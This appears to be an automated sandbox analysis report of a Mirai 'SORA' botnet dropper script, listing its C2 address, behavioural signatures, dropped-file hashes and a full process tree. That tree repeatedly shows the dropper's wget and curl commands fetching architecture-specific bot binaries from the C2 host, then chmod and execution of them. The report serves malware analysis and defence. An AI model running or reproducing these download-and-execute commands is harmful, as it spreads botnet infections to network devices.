Analysis

  • max time kernel
    51s
  • max time network
    148s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/10/2026, 09:05

General

  • Target
    pulse.sh
  • Size 2KB
  • Sample261027-k2d3nasybx
  • SHA256 7ef887224a88a3ee38fd0ac9f4de6e53f959fadc42e0cdfb4fbb2bcacc362f60
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • SORA

C2
  • 204.194.50.3

Extracted

Family
  • mirai

C2
  • 204.194.50.3

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai Renesas payload 1 IoCs
  • Contacts a large (45241) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 36 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pulse.sh
    /tmp/pulse.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:707
    • /usr/bin/wget
      wget http://204.194.50.3/bins/sora.x86
      2⤵
      • Writes file to tmp directory
      PID:710
    • /usr/bin/curl
      curl -O http://204.194.50.3/bins/sora.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:729
    • /bin/cat
      cat sora.x86
      2⤵
        PID:734
      • /bin/chmod
        chmod +x pulse.sh robben sora.x86 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
        2⤵
        • File and Directory Permissions Modification
        PID:735
      • /tmp/robben
        ./robben pulse.exploit
        2⤵
          PID:736
        • /usr/bin/wget
          wget http://204.194.50.3/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /usr/bin/curl
          curl -O http://204.194.50.3/bins/sora.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:739
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:740
        • /bin/chmod
          chmod +x pulse.sh robben sora.mips sora.x86 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/robben
          ./robben pulse.exploit
          2⤵
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          PID:742
        • /usr/bin/wget
          wget http://204.194.50.3/bins/sora.x86_64
          2⤵
            PID:749
          • /usr/bin/curl
            curl -O http://204.194.50.3/bins/sora.x86_64
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:750
          • /bin/cat
            cat sora.x86_64
            2⤵
              PID:763
            • /bin/chmod
              chmod +x pulse.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
              2⤵
              • File and Directory Permissions Modification
              PID:764
            • /tmp/robben
              ./robben pulse.exploit
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://204.194.50.3/bins/sora.i468
                2⤵
                  PID:768
                • /usr/bin/curl
                  curl -O http://204.194.50.3/bins/sora.i468
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:777
                • /bin/cat
                  cat sora.i468
                  2⤵
                    PID:788
                  • /bin/chmod
                    chmod +x pulse.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:789
                  • /tmp/robben
                    ./robben pulse.exploit
                    2⤵
                      PID:791
                    • /usr/bin/wget
                      wget http://204.194.50.3/bins/sora.i686
                      2⤵
                        PID:794
                      • /usr/bin/curl
                        curl -O http://204.194.50.3/bins/sora.i686
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:804
                      • /bin/cat
                        cat sora.i686
                        2⤵
                          PID:806
                        • /bin/chmod
                          chmod +x pulse.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
                          2⤵
                          • File and Directory Permissions Modification
                          PID:807
                        • /tmp/robben
                          ./robben pulse.exploit
                          2⤵
                            PID:808
                          • /usr/bin/wget
                            wget http://204.194.50.3/bins/sora.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:809
                          • /usr/bin/curl
                            curl -O http://204.194.50.3/bins/sora.mpsl
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:810
                          • /bin/cat
                            cat sora.mpsl
                            2⤵
                              PID:811
                            • /bin/chmod
                              chmod +x pulse.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
                              2⤵
                              • File and Directory Permissions Modification
                              PID:812
                            • /tmp/robben
                              ./robben pulse.exploit
                              2⤵
                                PID:813
                              • /usr/bin/wget
                                wget http://204.194.50.3/bins/sora.arm4
                                2⤵
                                  PID:815
                                • /usr/bin/curl
                                  curl -O http://204.194.50.3/bins/sora.arm4
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:822
                                • /bin/cat
                                  cat sora.arm4
                                  2⤵
                                    PID:834
                                  • /bin/chmod
                                    chmod +x pulse.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-877a0ddf3b834f84ac3ffafb24b2312f-systemd-timedated.service-JwjltJ
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:835
                                  • /tmp/robben
                                    ./robben pulse.exploit
                                    2⤵
                                      PID:837
                                    • /usr/bin/wget
                                      wget http://204.194.50.3/bins/sora.arm5
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:838
                                    • /usr/bin/curl
                                      curl -O http://204.194.50.3/bins/sora.arm5
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:848
                                    • /bin/cat
                                      cat sora.arm5
                                      2⤵
                                        PID:855
                                      • /bin/chmod
                                        chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:856
                                      • /tmp/robben
                                        ./robben pulse.exploit
                                        2⤵
                                          PID:857
                                        • /usr/bin/wget
                                          wget http://204.194.50.3/bins/sora.arm6
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:859
                                        • /usr/bin/curl
                                          curl -O http://204.194.50.3/bins/sora.arm6
                                          2⤵
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:860
                                        • /bin/cat
                                          cat sora.arm6
                                          2⤵
                                            PID:861
                                          • /bin/chmod
                                            chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:862
                                          • /tmp/robben
                                            ./robben pulse.exploit
                                            2⤵
                                              PID:863
                                            • /usr/bin/wget
                                              wget http://204.194.50.3/bins/sora.arm7
                                              2⤵
                                                PID:865
                                              • /usr/bin/curl
                                                curl -O http://204.194.50.3/bins/sora.arm7
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:866
                                              • /bin/cat
                                                cat sora.arm7
                                                2⤵
                                                  PID:867
                                                • /bin/chmod
                                                  chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:868
                                                • /tmp/robben
                                                  ./robben pulse.exploit
                                                  2⤵
                                                    PID:869
                                                  • /usr/bin/wget
                                                    wget http://204.194.50.3/bins/sora.ppc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:870
                                                  • /usr/bin/curl
                                                    curl -O http://204.194.50.3/bins/sora.ppc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:871
                                                  • /bin/cat
                                                    cat sora.ppc
                                                    2⤵
                                                      PID:872
                                                    • /bin/chmod
                                                      chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:873
                                                    • /tmp/robben
                                                      ./robben pulse.exploit
                                                      2⤵
                                                        PID:874
                                                      • /usr/bin/wget
                                                        wget http://204.194.50.3/bins/sora.ppc440fp
                                                        2⤵
                                                          PID:876
                                                        • /usr/bin/curl
                                                          curl -O http://204.194.50.3/bins/sora.ppc440fp
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:877
                                                        • /bin/cat
                                                          cat sora.ppc440fp
                                                          2⤵
                                                            PID:878
                                                          • /bin/chmod
                                                            chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:879
                                                          • /tmp/robben
                                                            ./robben pulse.exploit
                                                            2⤵
                                                              PID:880
                                                            • /usr/bin/wget
                                                              wget http://204.194.50.3/bins/sora.m68k
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:881
                                                            • /usr/bin/curl
                                                              curl -O http://204.194.50.3/bins/sora.m68k
                                                              2⤵
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:882
                                                            • /bin/cat
                                                              cat sora.m68k
                                                              2⤵
                                                                PID:883
                                                              • /bin/chmod
                                                                chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:884
                                                              • /tmp/robben
                                                                ./robben pulse.exploit
                                                                2⤵
                                                                  PID:885
                                                                • /usr/bin/wget
                                                                  wget http://204.194.50.3/bins/sora.sh4
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:887
                                                                • /usr/bin/curl
                                                                  curl -O http://204.194.50.3/bins/sora.sh4
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:888
                                                                • /bin/cat
                                                                  cat sora.sh4
                                                                  2⤵
                                                                    PID:889
                                                                  • /bin/chmod
                                                                    chmod +x pulse.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:890
                                                                  • /tmp/robben
                                                                    ./robben pulse.exploit
                                                                    2⤵
                                                                      PID:891

                                                                  Network

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                                                                        Downloads

                                                                        robben

                                                                        • Path /tmp/robben
                                                                        • Size 28KB
                                                                        • SHA256 02d1745fc1932ca560190c8f9850320f6374255df0e7f91bdcd8cea323567ca4
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        robben

                                                                        • Path /tmp/robben
                                                                        • Size 214B
                                                                        • SHA256 db2dfc1e627fb90bd986951fff590c1f4d0df26fca0ad2af94ccfdec2ab6aa25
                                                                        • MD5 SHA1 SHA512 TLSH

                                                                        robben

                                                                        • Path /tmp/robben
                                                                        • Size 212B
                                                                        • SHA256 3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
                                                                        • MD5 SHA1 SHA512 TLSH

                                                                        robben

                                                                        • Path /tmp/robben
                                                                        • Size 64KB
                                                                        • SHA256 b25cd22b59b8516fdfdd54c7f0dc2356ce883aea4e87f659f2ca66d214726fa4
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                        sora.x86

                                                                        • Path /tmp/sora.x86
                                                                        • Size 27KB
                                                                        • SHA256 d416e786af64b877744b04d16f6134503993c9f1bb43427c4790fae615833e0c
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH